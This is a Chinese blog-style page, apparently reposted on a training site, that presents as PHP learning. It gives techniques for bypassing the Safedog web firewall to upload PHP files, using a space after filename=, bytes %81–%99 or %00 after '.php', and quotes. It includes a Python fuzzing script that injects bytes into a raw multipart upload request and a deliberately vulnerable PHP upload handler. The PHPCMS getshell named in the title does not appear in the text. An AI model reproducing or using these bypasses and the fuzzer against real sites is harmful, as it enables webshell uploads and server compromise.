PHP语言学习之PHPCMS v9.5.6 通杀getshell(前台)
小标 2019-04-30 来源 : 阅读 2000 评论 0

摘要:本文主要向大家介绍了PHP语言学习之PHPCMS v9.5.6 通杀getshell(前台),通过具体的内容向大家展示,希望对大家学习php语言有所帮助。

本文主要向大家介绍了PHP语言学习之PHPCMS v9.5.6 通杀getshell(前台),通过具体的内容向大家展示,希望对大家学习php语言有所帮助。

PHP语言学习之PHPCMS v9.5.6 通杀getshell(前台)

文章提到:文件名前面的数字是被""干掉""字符的十进制数字,可以看出%81--%99会被干掉.该特性雷同Windows下对"".""和"" ""(空格)的忽略。

这个特性可以用来绕过安全狗,比如 xxx.php.  比较早期的安全狗就不对这个后缀进行拦截。

  

这是最新版的绕过安全狗进行上传。思路是和fuzz的思路一样,应该早就有人发出来了,但是没修。所以记录一下。

 

对于上传的包:Content-Disposition: form-data; name=""file""; filename= ""x.php"";

 

注意看filename= ""x.php"";   等号后面有个空格,这样就能绕过安全狗进行上传了,支持的有  09,20

对于上传的包:Content-Disposition: form-data; name=""file""; filename=""x.php?"";

x.php后面也就是漏洞所说的 %81--%99会被干掉 安全狗对于这个也不防御。 ?支持的有 81-99 ,00

在补充个,如果能上传的网站对于上传的名字没有修改,那么可以加单引号来绕过安全狗。

PHP语言学习之PHPCMS v9.5.6 通杀getshell(前台)

 

fuzz的脚本如下。

需要hackhttp的包,pip install hackhttp

#!/usr/local/bin/ python
# -*- coding: utf-8 -*-

__author__ = ‘yangxiaodi‘

import urllib
import hackhttp
import random
hackhttp=hackhttp.hackhttp()

def randstr(num):
    sts = ‘‘
    char = ‘1234567890abcdexyz‘
    for i in range(num):
        sts += random.choice(char)
    return sts

def hex_to_ascii(ch):
    return ‘{:c}‘.format(int(float.fromhex(ch)))

raw_data = ‘‘‘POST /copy.php HTTP/1.1
Host: 172.16.220.136
Content-Length: 296
Cache-Control: max-age=0
Origin: //172.16.220.136
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ9o2JkrnEtFaefTV
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: //172.16.220.136/1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close

------WebKitFormBoundaryJ9o2JkrnEtFaefTV
Content-Disposition: form-data; name=""file""; filename=""q.php"";
Content-Type: text/xml

<?php phpinfo();?>
------WebKitFormBoundaryJ9o2JkrnEtFaefTV
Content-Disposition: form-data; name=""submit""

upload
------WebKitFormBoundaryJ9o2JkrnEtFaefTV--

‘‘‘

for u in range(625,872):
    for i in range(1,255):
        s = ‘%03d‘ % i
        shex = hex_to_ascii(s)
        data=raw_data[:u]+shex+raw_data[u:]
        code, head, html, redirect_url, log=hackhttp.http(url=""//172.16.220.136/copy.php"", raw=data)
        if ‘upload/q.php<br>‘ in html:
            print u,i,data,html,‘\n‘

 

copy.php如下

<?php

if(isset($_POST[‘submit‘])){

	$savefile = $_FILES[‘file‘][‘name‘];

	$tempfile = $_FILES[‘file‘][‘tmp_name‘];

	$savefile = preg_replace(""/(php4)(\.|$)/i"", ""_\\1\\2"", $savefile);//这里是整个漏洞的核心代码,同样这里进行了简化,我们只关注php

	$savefile = ‘upload/‘.$savefile;

	if(upload($tempfile,$savefile,true)){

		exit(‘Success upload,path is:‘.$savefile.""<br>"");

	}

}

function upload($src,$dst,$mode=false){

	if($mode){

		if(copy($src,$dst)){

			return true;

		}

	}else{

		if(@move_uploaded_file($src,$dst)){

			return true;

		}

	}

	return false;

}

?>

  

1.html如下

<html>

<body>

<form method=""post"" action=""copy.php"" enctype=""multipart/form-data"">

 <input type=""file"" name=""file"" value=""1111""/>

 <input type=""submit"" name=""submit"" value=""upload""/>

</form>

</body>

</html>


本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言PHP频道!

本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 0 不喜欢 | 0
看完这篇文章有何感觉?已经有0人表态,0%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式IT培训就业服务领导者 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved

208小时内训课程